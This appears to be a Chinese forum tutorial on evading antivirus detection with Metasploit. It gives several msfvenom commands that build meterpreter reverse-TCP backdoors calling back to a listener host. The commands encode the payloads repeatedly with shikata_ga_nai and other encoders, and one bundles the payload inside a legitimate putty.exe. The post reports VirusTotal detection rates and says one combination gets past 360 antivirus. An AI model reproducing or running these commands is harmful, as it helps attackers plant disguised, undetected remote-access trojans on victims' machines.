本帖最后由 pukr 于 2020-3-8 10:11 编辑
免杀能力一览表
几点说明: 1、上面表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。
2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。
3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2019.12.12),火绒版本5.0.33.13(2019.12.12),360安全卫士12.0.0.2001(2019.12.17)。
4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀的精确判断指标。
1.前言
本节主要是对msf自身提供的免杀机制(编码+捆绑)进行尝试,由于msf被各大安全厂商盯的比较紧,所以这些常规的方法免杀效果肯定是比较差的,但有时把一两种常规方法稍微结合一下就能达到比较好的免杀效果。
2.未处理的payload(VT查杀率53/69)
在做免杀之前,我们先生成一个原始payload作为原始参数对比,这里我们就选使用频率最高的windows/meterperter/reverse_tcp,这也是被各大杀软盯的最紧的一个。 msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f exe -o payload1.exe
基本不用怀疑,本地的360全家桶和火绒都能查杀。
在virustotal.com上查杀率为53/69
最原始的payload居然还有16个查杀不出来的,看看都有哪些(额。。。6个国内的。。。马云爸爸也出杀软了??)笔误,panda不是国内的。。
3.msf自编码处理(VT查杀率51/69)
使用msfvenom --list encoders可查看所有编码器
评级最高的两个encoder为cmd/powershell_base64和x86/shikata_ga_nai,其中x86/shikata_ga_nai也是免杀中使用频率最高的一个编码器了。
使用x86/shikata_ga_nai生成payload,参数-i为编码次数,我这里设置15次,并使用了-b参数去掉payload中的空字符。
- msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -b "\x00" -i 15 -f exe -o payload2.exe
复制代码
测试机器运行,本地的360全家桶和火绒都能查杀。
在virustotal.com上查杀率为51/69
由于shikata_ga_nai编码技术是多态的,也就是说每次生成的payload文件都不一样,有时生成的文件会被查杀,有时却不会。当然这个也和编码次数有一定关系,编码次数好像超过70次就经常生成出错,但是编码次数多并不代表免杀能力强。
4.msf自捆绑免杀(VT查杀率39/69)
在生成payload时可以使用捆绑功能,使用msfvenom的-x参数可以指定一个自定义的可执行文件作为模板,并将payload嵌入其中,-x后面跟对应文件路径就可以。 我这里使用一个正规的putty.exe作为被捆绑测试软件。
生成payload命令如下 - msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -x putty.exe -f exe -o payload3.exe
复制代码
生成的两个文件对比,大小完全一样。
测试机器运行,本地的360全家桶和火绒都能查杀该payload。
在virustotal.com上查杀率为39/69
另外,能否免杀也和你选的被捆绑exe有一定关系,可以选微软的一些工具作为模板exe程序。
5.msf自捆绑+编码(VT查杀率35/69)
将上面的编码和捆绑两种方法结合一下进行尝试
- msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -x putty.exe -i 15 -f exe -o payload4.exe
复制代码
在关闭火绒后,开启360安全卫士和杀毒的情况下,可上线,可免杀。
可修改-i编码次数,编码次数越多,生成的payload越可能免杀,经测试,编码5次和6次可免杀360。
在virustotal.com上查杀率为35/69
看来稍微组合一下是能过更多的杀软的。后面会介绍更多的免杀方法,自己可以尝试多种免杀进行组合,垒积木一样的感觉...
6.msfvenom多重编码(VT查杀率45/70)
msfvenom的encoder编码器可以对payload进行一定程度免杀,同时还可以使用msfvenom多重编码功能,通过管道,让msfvenom用不同编码器反复编码进行混淆。 如下命令,使用管道让msfvenom对攻击载荷多重编码,先用shikata_ga_nai编码20次,接着来10次的alpha_upper编码,再来10次的countdown编码,最后才生成以putty.exe为模板的可执行文件。
- msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=10.211.55.2 LPORT=3333 -f raw | msfvenom -e x86/alpha_upper -i 10 -f raw | msfvenom -e x86/countdown -i 10 -x putty.exe -f exe -o payload5.exe
复制代码
还有这种更多重编码姿势
- msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/call4_dword_xor -i 14 LHOST=192.168.74.133 LPORT=5110 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 13 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -b "&" -i 4 -f raw | msfvenom -a x86 --platform windows -e cmd/powershell_base64 -i 10 -x putty.exe -k -f exe > payload6.exe
复制代码
在virustotal.com上查杀率为45/70,编码多了,免杀率居然降低了。。。尴尬。。。
经过测试,发现使用的编码类型越多,免杀率可能会降低,猜测是因为各种编码引入了更多的特征码。同时生成的payload也很可能无法正常执行,这个也和被捆绑程序有一定关联。
参考资料
|